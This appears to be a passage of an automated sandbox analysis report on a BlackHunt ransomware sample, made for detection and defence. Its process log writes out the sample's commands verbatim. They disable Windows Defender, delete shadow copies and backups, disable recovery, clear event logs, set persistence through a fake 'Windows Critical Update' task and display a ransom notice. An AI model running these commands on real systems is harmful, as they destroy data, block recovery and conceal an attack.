261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 50 PID 3004 wrote to memory of 2352 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 50 PID 3004 wrote to memory of 2352 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 50 PID 3004 wrote to memory of 2352 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 50 PID 3004 wrote to memory of 2936 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 52 PID 3004 wrote to memory of 2936 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 52 PID 3004 wrote to memory of 2936 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 52 PID 3004 wrote to memory of 2936 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 52 PID 3004 wrote to memory of 2736 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 53 PID 3004 wrote to memory of 2736 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 53 PID 3004 wrote to memory of 2736 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 53 PID 3004 wrote to memory of 2736 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 53 PID 3004 wrote to memory of 2772 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 54 PID 3004 wrote to memory of 2772 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 54 PID 3004 wrote to memory of 2772 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 54 PID 3004 wrote to memory of 2772 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 54 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe"C:\Users\Admin\AppData\Local\Temp\261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3004 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2140
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2916
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2296
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:952
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2372
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:588
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:1568
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2040
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2320
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵PID:2272
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2704
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2952
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2732
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2328
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2804
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2816
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:792
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2944
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2700
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2360
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2780
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1268
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2352
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2932
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2936
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:884
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2736
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2604
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2772
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2956
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2768
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2604
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1484
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:3040
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2896
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2620
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2512
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1604
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2572
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2592
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2088
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2652
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:984
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:3012
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2964
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3044
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2384
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2212
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:3028
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1468
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1612
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe" /F2⤵PID:1520
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe" /F3⤵
- Creates scheduled task(s)
PID:988
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2488
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2812
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1960
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1668
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:768
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1764
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1592
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1552
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1596
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1608
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:552
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:596
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1096
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:680
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2356
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1136
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2456
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2696
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:1928
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:3260
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:2036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:580
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:108
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:1888
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3132
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:3824
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:1332
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1512
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:1604
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3280
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2980
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:596
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2932
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3424
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1708
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1628
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3268
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1968
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3264
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:4032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:300
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2488
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:4060
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:2828
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:1848
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2504
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:1720
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2740
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2296
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:1732
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:884
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3468
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:2780
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:3188
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:3124
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:3476
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe"2⤵
- Deletes itself
PID:3144 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:536
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2628
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2800
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
- Adds Run key to start application
PID:2272
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2228
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD51353a97ecd8809d000ef59b9daf97237
SHA1684f2b1b5185327aabf8f2e870696c357020e337
SHA25605bd81f258faf806176233fbbf211a156ef1dce04a68fac82e8926a85ef6a3eb
SHA51230b9986f0501454ca86f2531ced2c8de05281269e09174c2bcf4c299bafdd0cacd8a4009479a166cff818bc7c3d1d82ce6e19b4c486649ad7e0829932dbe0e13
-
Filesize
12KB
